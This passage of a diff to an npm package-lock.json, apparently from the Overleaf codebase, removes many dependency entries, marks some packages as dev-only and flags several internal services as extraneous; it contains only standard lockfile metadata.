"integrity": "sha512-W3AmPTJWZkRwu+iSNxPIsLZ2ByADsOLbbLxe46UJyWj3mlYLlwucKiq+/dPm0l9wTzqoF3/2PH0AGFCebjq23A==", + "dev": true + }, +- "node_modules/timers-ext": { +- "version": "0.1.7", +- "resolved": "https://registry.npmjs.org/timers-ext/-/timers-ext-0.1.7.tgz", +- "integrity": "sha512-b85NUNzTSdodShTIbky6ZF02e8STtVVfD+fu4aXXShEELpozH+bCpJLYMPZbsABN2wDH7fJpqIoXxJpzbf0NqQ==", +- "dev": true, +- "dependencies": { +- "es5-ext": "~0.10.46", +- "next-tick": "1" +- } +- }, + "node_modules/tiny-async-pool": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/tiny-async-pool/-/tiny-async-pool-1.2.0.tgz", +@@ -29391,14 +23598,6 @@ + "semver": "bin/semver" + } + }, +- "node_modules/tiny-lru": { +- "version": "8.0.2", +- "resolved": "https://registry.npmjs.org/tiny-lru/-/tiny-lru-8.0.2.tgz", +- "integrity": "sha512-ApGvZ6vVvTNdsmt676grvCkUCGwzG9IqXma5Z07xJgiC5L7akUMof5U8G2JTI9Rz/ovtVhJBlY6mNhEvtjzOIg==", +- "engines": { +- "node": ">=6" +- } +- }, + "node_modules/tiny-warning": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/tiny-warning/-/tiny-warning-1.0.3.tgz", +@@ -29472,6 +23671,7 @@ + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz", + "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", ++ "dev": true, + "dependencies": { + "kind-of": "^3.0.2" + }, +@@ -29483,6 +23683,7 @@ + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", ++ "dev": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, +@@ -29490,28 +23691,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/to-readable-stream": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz", +- "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==", +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/to-regex": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", +- "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", +- "dependencies": { +- "define-property": "^2.0.2", +- "extend-shallow": "^3.0.2", +- "regex-not": "^1.0.2", +- "safe-regex": "^1.1.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", +@@ -29531,29 +23710,6 @@ + "node": ">=0.12.0" + } + }, +- "node_modules/to-regex/node_modules/extend-shallow": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", +- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", +- "dependencies": { +- "assign-symbols": "^1.0.0", +- "is-extendable": "^1.0.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/to-regex/node_modules/is-extendable": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", +- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", +- "dependencies": { +- "is-plain-object": "^2.0.4" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/to-string-loader": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/to-string-loader/-/to-string-loader-1.2.0.tgz", +@@ -29675,31 +23831,11 @@ + "integrity": "sha512-gVweAectJU3ebq//Ferr2JUY4WKSDe5N+z0FvjDncLGyHmIDoxgY/2Ie4qfEIDm4IS7OA6Rmdm7pdEEdMcV/xQ==", + "dev": true + }, +- "node_modules/topo": { +- "version": "3.0.3", +- "resolved": "https://registry.npmjs.org/topo/-/topo-3.0.3.tgz", +- "integrity": "sha512-IgpPtvD4kjrJ7CRA3ov2FhWQADwv+Tdqbsf1ZnPUSAtCJ9e1Z44MmoSGDXGk4IppoZA7jd/QRkNddlLJWlUZsQ==", +- "deprecated": "This module has moved and is now available at @hapi/topo. Please update your dependencies as this version is no longer maintained an may contain bugs and security issues.", +- "dependencies": { +- "hoek": "6.x.x" +- } +- }, +- "node_modules/topo/node_modules/hoek": { +- "version": "6.1.3", +- "resolved": "https://registry.npmjs.org/hoek/-/hoek-6.1.3.tgz", +- "integrity": "sha512-YXXAAhmF9zpQbC7LEcREFtXfGq5K1fmd+4PHkBq8NUqmzW3G+Dq10bI/i0KucLRwss3YYFQ0fSfoxBZYiGUqtQ==", +- "deprecated": "This module has moved and is now available at @hapi/hoek. Please update your dependencies as this version is no longer maintained an may contain bugs and security issues." +- }, + "node_modules/toposort": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/toposort/-/toposort-2.0.2.tgz", + "integrity": "sha1-riF2gXXRVZ1IvvNUILL0li8JwzA=" + }, +- "node_modules/toposort-class": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/toposort-class/-/toposort-class-1.0.1.tgz", +- "integrity": "sha1-f/0feMi+KMO6Rc1OGj9e4ZO9mYg=" +- }, + "node_modules/touch": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/touch/-/touch-3.1.0.tgz", +@@ -29934,7 +24070,8 @@ + "node_modules/typical": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/typical/-/typical-2.6.1.tgz", +- "integrity": "sha1-XAgOXWYcu+OCWdLnCjxyU+hziB0=" ++ "integrity": "sha1-XAgOXWYcu+OCWdLnCjxyU+hziB0=", ++ "dev": true + }, + "node_modules/ua-parser-js": { + "version": "0.7.31", +@@ -29988,18 +24125,6 @@ + "resolved": "https://registry.npmjs.org/uid2/-/uid2-0.0.4.tgz", + "integrity": "sha512-IevTus0SbGwQzYh3+fRsAMTVVPOoIVufzacXcHPmdlle1jUpq7BRL+mw3dgeLanvGZdwwbWhRV6XrcFNdBmjWA==" + }, +- "node_modules/umzug": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/umzug/-/umzug-2.3.0.tgz", +- "integrity": "sha512-Z274K+e8goZK8QJxmbRPhl89HPO1K+ORFtm6rySPhFKfKc5GHhqdzD0SGhSWHkzoXasqJuItdhorSvY7/Cgflw==", +- "dev": true, +- "dependencies": { +- "bluebird": "^3.7.2" +- }, +- "engines": { +- "node": ">=6.0.0" +- } +- }, + "node_modules/unbox-primitive": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.1.tgz", +@@ -30018,6 +24143,7 @@ + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/unc-path-regex/-/unc-path-regex-0.1.2.tgz", + "integrity": "sha1-5z3T17DXxe2G+6xrCufYxqadUPo=", ++ "dev": true, + "engines": { + "node": ">=0.10.0" + } +@@ -30104,20 +24230,6 @@ + "node": ">=4" + } + }, +- "node_modules/union-value": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz", +- "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==", +- "dependencies": { +- "arr-union": "^3.1.0", +- "get-value": "^2.0.6", +- "is-extendable": "^0.1.1", +- "set-value": "^2.0.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/unique-stream": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/unique-stream/-/unique-stream-2.3.1.tgz", +@@ -30139,11 +24251,6 @@ + "node": ">=8" + } + }, +- "node_modules/universal-user-agent": { +- "version": "6.0.0", +- "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-6.0.0.tgz", +- "integrity": "sha512-isyNax3wXoKaulPDZWHQqbmIx1k2tb9fb3GGDBRxCscfYV2Ch7WxPArBsFEG8s/safwXTT7H4QGhaIkTp9447w==" +- }, + "node_modules/universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", +@@ -30160,55 +24267,6 @@ + "node": ">= 0.8" + } + }, +- "node_modules/unset-value": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz", +- "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", +- "dependencies": { +- "has-value": "^0.3.1", +- "isobject": "^3.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/unset-value/node_modules/has-value": { +- "version": "0.3.1", +- "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz", +- "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", +- "dependencies": { +- "get-value": "^2.0.3", +- "has-values": "^0.1.4", +- "isobject": "^2.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/unset-value/node_modules/has-value/node_modules/isobject": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", +- "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", +- "dependencies": { +- "isarray": "1.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/unset-value/node_modules/has-values": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz", +- "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/unset-value/node_modules/isarray": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" +- }, + "node_modules/untildify": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz", +@@ -30275,12 +24333,6 @@ + "punycode": "^2.1.0" + } + }, +- "node_modules/urix": { +- "version": "0.1.0", +- "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz", +- "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=", +- "deprecated": "Please see https://github.com/lydell/urix#deprecated" +- }, + "node_modules/url": { + "version": "0.10.3", + "resolved": "https://registry.npmjs.org/url/-/url-0.10.3.tgz", +@@ -30290,11 +24342,6 @@ + "querystring": "0.2.0" + } + }, +- "node_modules/url-join": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/url-join/-/url-join-4.0.1.tgz", +- "integrity": "sha512-jk1+QP6ZJqyOiuEI9AEWQfju/nB2Pw466kbA0LEZljHwKeMgd9WrAEgEGxjPDD2+TNbbb37rTyhEfrCXfuKXnA==" +- }, + "node_modules/url-parse": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", +@@ -30304,43 +24351,11 @@ + "requires-port": "^1.0.0" + } + }, +- "node_modules/url-parse-lax": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz", +- "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=", +- "dependencies": { +- "prepend-http": "^2.0.0" +- }, +- "engines": { +- "node": ">=4" +- } +- }, +- "node_modules/url-parse-lax/node_modules/prepend-http": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz", +- "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=", +- "engines": { +- "node": ">=4" +- } +- }, +- "node_modules/url-template": { +- "version": "2.0.8", +- "resolved": "https://registry.npmjs.org/url-template/-/url-template-2.0.8.tgz", +- "integrity": "sha1-/FZaPMy/93MMd19WQflVV5FDnyE=" +- }, + "node_modules/url/node_modules/punycode": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz", + "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=" + }, +- "node_modules/use": { +- "version": "3.1.1", +- "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", +- "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/utf-8-validate": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/utf-8-validate/-/utf-8-validate-5.0.8.tgz", +@@ -30398,6 +24413,7 @@ + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/utils-flatten/-/utils-flatten-1.0.0.tgz", + "integrity": "sha1-AfMNMZO+RkxAsxdV5nQNDbDO8kM=", ++ "dev": true, + "engines": { + "node": ">= 0.4.0" + } +@@ -30448,17 +24464,6 @@ + "node": ">= 8" + } + }, +- "node_modules/v8flags": { +- "version": "3.2.0", +- "resolved": "https://registry.npmjs.org/v8flags/-/v8flags-3.2.0.tgz", +- "integrity": "sha512-mH8etigqMfiGWdeXpaaqGfs6BndypxusHHcv2qSHyZkGEznCd/qAXCWWRzeowtL54147cktFOC4P5y+kl8d8Jg==", +- "dependencies": { +- "homedir-polyfill": "^1.0.1" +- }, +- "engines": { +- "node": ">= 0.10" +- } +- }, + "node_modules/valid-data-url": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/valid-data-url/-/valid-data-url-2.0.0.tgz", +@@ -30472,14 +24477,6 @@ + "resolved": "https://registry.npmjs.org/valid-url/-/valid-url-1.0.9.tgz", + "integrity": "sha1-HBRHm0DxOXp1eC8RXkCGRHQzogA=" + }, +- "node_modules/validator": { +- "version": "13.7.0", +- "resolved": "https://registry.npmjs.org/validator/-/validator-13.7.0.tgz", +- "integrity": "sha512-nYXQLCBkpJ8X6ltALua9dRrZDHVYxjJ1wgskNt1lH9fzGjs3tgojGSCBjmEPwkWS1y29+DrizMTW19Pr9uB2nw==", +- "engines": { +- "node": ">= 0.10" +- } +- }, + "node_modules/value-or-function": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/value-or-function/-/value-or-function-3.0.0.tgz", +@@ -31332,14 +25329,6 @@ + "node": ">= 10.0.0" + } + }, +- "node_modules/wkx": { +- "version": "0.4.8", +- "resolved": "https://registry.npmjs.org/wkx/-/wkx-0.4.8.tgz", +- "integrity": "sha512-ikPXMM9IR/gy/LwiOSqWlSL3X/J5uk9EO2hHNRXS41eTLXaUFEVw9fn/593jW/tE5tedNg8YjT5HkCa4FqQZyQ==", +- "dependencies": { +- "@types/node": "*" +- } +- }, + "node_modules/word-wrap": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", +@@ -31450,6 +25439,7 @@ + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.4.2.tgz", + "integrity": "sha512-Kbk4Nxyq7/ZWqr/tarI9yIt/+iNNFOjBXEWgTb4ydaNHBNGgvf2QHbS9fdfsndfjFlFwEd4Al+mw83YkaD10ZA==", ++ "devOptional": true, + "engines": { + "node": ">=10.0.0" + }, +@@ -31584,6 +25574,7 @@ + "version": "0.0.5", + "resolved": "https://registry.npmjs.org/xpath/-/xpath-0.0.5.tgz", + "integrity": "sha1-RUA29u8PPfWvXUukoRn7dWdLPmw=", ++ "dev": true, + "engines": { + "node": ">=0.6.0" + } +@@ -31660,23 +25651,6 @@ + "node": ">= 6" + } + }, +- "node_modules/yargs": { +- "version": "17.3.1", +- "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.3.1.tgz", +- "integrity": "sha512-WUANQeVgjLbNsEmGk20f+nlHgOqzRFpiGWVaBrYGYIGANIIu3lWjoyi0fNlFmJkvfhCZ6BXINe7/W2O2bV4iaA==", +- "dependencies": { +- "cliui": "^7.0.2", +- "escalade": "^3.1.1", +- "get-caller-file": "^2.0.5", +- "require-directory": "^2.1.1", +- "string-width": "^4.2.3", +- "y18n": "^5.0.5", +- "yargs-parser": "^21.0.0" +- }, +- "engines": { +- "node": ">=12" +- } +- }, + "node_modules/yargs-parser": { + "version": "20.2.4", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz", +@@ -31721,14 +25695,6 @@ + "node": ">=8" + } + }, +- "node_modules/yargs/node_modules/yargs-parser": { +- "version": "21.0.0", +- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.0.0.tgz", +- "integrity": "sha512-z9kApYUOCwoeZ78rfRYYWdiU/iNL6mwwYlkkZfJoyMR1xps+NEBX5X7XmRpxkZHhXJ6+Ey00IwKxBBSW9FIjyA==", +- "engines": { +- "node": ">=12" +- } +- }, + "node_modules/yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", +@@ -31774,44 +25740,6 @@ + "node": ">=10" + } + }, +- "node_modules/z-schema": { +- "version": "3.25.1", +- "resolved": "https://registry.npmjs.org/z-schema/-/z-schema-3.25.1.tgz", +- "integrity": "sha512-7tDlwhrBG+oYFdXNOjILSurpfQyuVgkRe3hB2q8TEssamDHB7BbLWYkYO98nTn0FibfdFroFKDjndbgufAgS/Q==", +- "dependencies": { +- "core-js": "^2.5.7", +- "lodash.get": "^4.0.0", +- "lodash.isequal": "^4.0.0", +- "validator": "^10.0.0" +- }, +- "bin": { +- "z-schema": "bin/z-schema" +- }, +- "optionalDependencies": { +- "commander": "^2.7.1" +- } +- }, +- "node_modules/z-schema/node_modules/commander": { +- "version": "2.20.3", +- "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", +- "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", +- "optional": true +- }, +- "node_modules/z-schema/node_modules/core-js": { +- "version": "2.6.12", +- "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.12.tgz", +- "integrity": "sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==", +- "deprecated": "core-js@<3.4 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Please, upgrade your dependencies to the actual version of core-js.", +- "hasInstallScript": true +- }, +- "node_modules/z-schema/node_modules/validator": { +- "version": "10.11.0", +- "resolved": "https://registry.npmjs.org/validator/-/validator-10.11.0.tgz", +- "integrity": "sha512-X/p3UZerAIsbBfN/IwahhYaBbY68EN/UQBWHtsbXGT5bfrH/p4NQzUCG1kF/rtKaNpnJ7jAu6NGTdSNtyNIXMw==", +- "engines": { +- "node": ">= 0.10" +- } +- }, + "node_modules/zeparser": { + "version": "0.0.5", + "resolved": "https://registry.npmjs.org/zeparser/-/zeparser-0.0.5.tgz", +@@ -31833,17 +25761,9 @@ + "node": ">= 10" + } + }, +- "node_modules/zlib": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/zlib/-/zlib-1.0.5.tgz", +- "integrity": "sha512-40fpE2II+Cd3k8HWTWONfeKE2jL+P42iWJ1zzps5W51qcTsOUKM5Q5m2PFb0CLxlmFAaUuUdJGc3OfZy947v0w==", +- "hasInstallScript": true, +- "engines": { +- "node": ">=0.2.0" +- } +- }, + "services/analytics": { + "name": "@overleaf/analytics", ++ "extraneous": true, + "dependencies": { + "@google-cloud/bigquery": "^5.9.0", + "@google-cloud/storage": "^4.6.0", +@@ -31896,25 +25816,6 @@ + "sinon-chai": "^3.7.0" + } + }, +- "services/analytics/node_modules/minimist": { +- "version": "1.2.6", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz", +- "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==" +- }, +- "services/analytics/node_modules/p-limit": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", +- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", +- "dependencies": { +- "p-try": "^2.0.0" +- }, +- "engines": { +- "node": ">=6" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, + "services/chat": { + "name": "@overleaf/chat", + "dependencies": { +@@ -32190,6 +26091,7 @@ + }, + "services/clsi-perf": { + "name": "@overleaf/clsi-perf", ++ "extraneous": true, + "dependencies": { + "@google-cloud/bigquery": "^5.6.0", + "@overleaf/logger": "^3.1.0", +@@ -32209,14 +26111,6 @@ + "mocha": "^8.4.0" + } + }, +- "services/clsi-perf/node_modules/cookie": { +- "version": "0.4.1", +- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.1.tgz", +- "integrity": "sha512-ZwrFkGJxUR3EIoXtO+yVE69Eb7KlixbaeAWfBQB9vVsNn/o+Yw69gBWSSDK825hQNdN+wF8zELf3dFNl/kxkUA==", +- "engines": { +- "node": ">= 0.6" +- } +- }, + "services/clsi/node_modules/diff": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", +@@ -32913,6 +26807,7 @@ + }, + "services/freegeoip": { + "version": "1.0.0", ++ "extraneous": true, + "license": "ISC", + "dependencies": { + "@maxmind/geoip2-node": "^3.4.0", +@@ -32933,6 +26828,7 @@ + }, + "services/github-sync": { + "name": "@overleaf/github-sync", ++ "extraneous": true, + "dependencies": { + "@octokit/request": "^5.6.3", + "@overleaf/access-token-encryptor": "^2.2.0", +@@ -32961,23 +26857,10 @@ + "timekeeper": "2.2.0" + } + }, +- "services/github-sync/node_modules/p-limit": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", +- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", +- "dependencies": { +- "p-try": "^2.0.0" +- }, +- "engines": { +- "node": ">=6" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, + "services/history-v1": { + "name": "overleaf-editor", + "version": "1.0.0", ++ "extraneous": true, + "license": "Proprietary", + "dependencies": { + "@overleaf/logger": "^3.1.0", +@@ -33022,171 +26905,17 @@ + "yauzl": "^2.9.1" + } + }, +- "services/history-v1/node_modules/array-back": { +- "version": "1.0.4", +- "resolved": "https://registry.npmjs.org/array-back/-/array-back-1.0.4.tgz", +- "integrity": "sha1-ZEun8JX3/898Q7Xw3DnTwfA8Bjs=", +- "dependencies": { +- "typical": "^2.6.0" +- }, +- "engines": { +- "node": ">=0.12.0" +- } +- }, +- "services/history-v1/node_modules/check-types": { +- "version": "11.1.2", +- "resolved": "https://registry.npmjs.org/check-types/-/check-types-11.1.2.tgz", +- "integrity": "sha512-tzWzvgePgLORb9/3a0YenggReLKAIb2owL03H2Xdoe5pKcUyWRSEQ8xfCar8t2SIAuEDwtmx2da1YB52YuHQMQ==" +- }, +- "services/history-v1/node_modules/command-line-args": { +- "version": "3.0.5", +- "resolved": "https://registry.npmjs.org/command-line-args/-/command-line-args-3.0.5.tgz", +- "integrity": "sha1-W9StReeYPlwTRJGOQCgO4mk8WsA=", +- "dependencies": { +- "array-back": "^1.0.4", +- "feature-detect-es6": "^1.3.1", +- "find-replace": "^1.0.2", +- "typical": "^2.6.0" +- }, +- "bin": { +- "command-line-args": "bin.js" +- } +- }, +- "services/history-v1/node_modules/find-replace": { +- "version": "1.0.3", +- "resolved": "https://registry.npmjs.org/find-replace/-/find-replace-1.0.3.tgz", +- "integrity": "sha1-uI5zZNLZyVlVnziMZmcNYTBEH6A=", +- "dependencies": { +- "array-back": "^1.0.4", +- "test-value": "^2.1.0" +- }, +- "engines": { +- "node": ">=4.0.0" +- } +- }, +- "services/history-v1/node_modules/fs-extra": { +- "version": "9.1.0", +- "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", +- "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", +- "dependencies": { +- "at-least-node": "^1.0.0", +- "graceful-fs": "^4.2.0", +- "jsonfile": "^6.0.1", +- "universalify": "^2.0.0" +- }, +- "engines": { +- "node": ">=10" +- } +- }, +- "services/history-v1/node_modules/test-value": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/test-value/-/test-value-2.1.0.tgz", +- "integrity": "sha1-Edpv9nDzRxpztiXKTz/c97t0gpE=", +- "dependencies": { +- "array-back": "^1.0.3", +- "typical": "^2.6.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "services/idp": { + "name": "@overleaf/idp", ++ "extraneous": true, + "dependencies": { + "express": "^4.17.1", + "samlp": "^6.0.1" + } + }, +- "services/idp/node_modules/async": { +- "version": "0.2.10", +- "resolved": "https://registry.npmjs.org/async/-/async-0.2.10.tgz", +- "integrity": "sha512-eAkdoKxU6/LkKDBzLpT+t6Ff5EtfSF4wx1WfJiPEEV7WNLnDaRXk0oVysiEPm262roaachGexwUv94WhSgN5TQ==" +- }, +- "services/idp/node_modules/moment": { +- "version": "2.19.3", +- "resolved": "https://registry.npmjs.org/moment/-/moment-2.19.3.tgz", +- "integrity": "sha1-vbmdJw1tf9p4zA+6zoVeJ/59pp8=", +- "engines": { +- "node": "*" +- } +- }, +- "services/idp/node_modules/node-forge": { +- "version": "0.10.0", +- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz", +- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==", +- "engines": { +- "node": ">= 6.0.0" +- } +- }, +- "services/idp/node_modules/saml": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/saml/-/saml-1.0.1.tgz", +- "integrity": "sha512-BzzlTdXNICrIGhJkq168n0WJpwXYr3xyMd7UHC7/s8F4M6zHSEItwEuKGmm6HjsttZk/hJcrw7fY0OZ9wE+v7Q==", +- "dependencies": { +- "@xmldom/xmldom": "^0.7.4", +- "async": "~0.2.9", +- "moment": "2.19.3", +- "valid-url": "~1.0.9", +- "xml-crypto": "^2.1.3", +- "xml-encryption": "^1.2.1", +- "xml-name-validator": "~2.0.1", +- "xpath": "0.0.5" +- } +- }, +- "services/idp/node_modules/samlp": { +- "version": "6.0.2", +- "resolved": "https://registry.npmjs.org/samlp/-/samlp-6.0.2.tgz", +- "integrity": "sha512-LeEgzxBRRasDk4EOiGZgIa4ytvHNnYDMI9Wp2tGh+v7fi3bjZYG1ufJK3YWGDTb5HFG8Y7ybpYzw/o2tThBgLQ==", +- "dependencies": { +- "@auth0/thumbprint": "0.0.6", +- "@auth0/xmldom": "0.1.21", +- "auth0-id-generator": "^0.2.0", +- "ejs": "2.5.5", +- "flowstate": "^0.4.0", +- "querystring": "^0.2.0", +- "saml": "^1.0.0", +- "xml-crypto": "^2.0.0", +- "xpath": "0.0.5", +- "xtend": "^1.0.3" +- } +- }, +- "services/idp/node_modules/xml-encryption": { +- "version": "1.3.0", +- "resolved": "https://registry.npmjs.org/xml-encryption/-/xml-encryption-1.3.0.tgz", +- "integrity": "sha512-3P8C4egMMxSR1BmsRM+fG16a3WzOuUEQKS2U4c3AZ5v7OseIfdUeVkD8dwxIhuLryFZSRWUL5OP6oqkgU7hguA==", +- "dependencies": { +- "@xmldom/xmldom": "^0.7.0", +- "escape-html": "^1.0.3", +- "node-forge": "^0.10.0", +- "xpath": "0.0.32" +- }, +- "engines": { +- "node": ">=8" +- } +- }, +- "services/idp/node_modules/xml-encryption/node_modules/xpath": { +- "version": "0.0.32", +- "resolved": "https://registry.npmjs.org/xpath/-/xpath-0.0.32.tgz", +- "integrity": "sha512-rxMJhSIoiO8vXcWvSifKqhvV96GjiD5wYb8/QHdoRyQvraTpp4IEv944nhGausZZ3u7dhQXteZuZbaqfpB7uYw==", +- "engines": { +- "node": ">=0.6.0" +- } +- }, +- "services/idp/node_modules/xml-name-validator": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-2.0.1.tgz", +- "integrity": "sha1-TYuPHszTQZqjYgYb7O9RXh5VljU=" +- }, +- "services/idp/node_modules/xtend": { +- "version": "1.0.3", +- "resolved": "https://registry.npmjs.org/xtend/-/xtend-1.0.3.tgz", +- "integrity": "sha1-P12Tc1PM7Y4IU5mlY/2yJUHClgo=", +- "engines": { +- "node": ">=0.4" +- } +- }, + "services/k8s-debugger": { + "name": 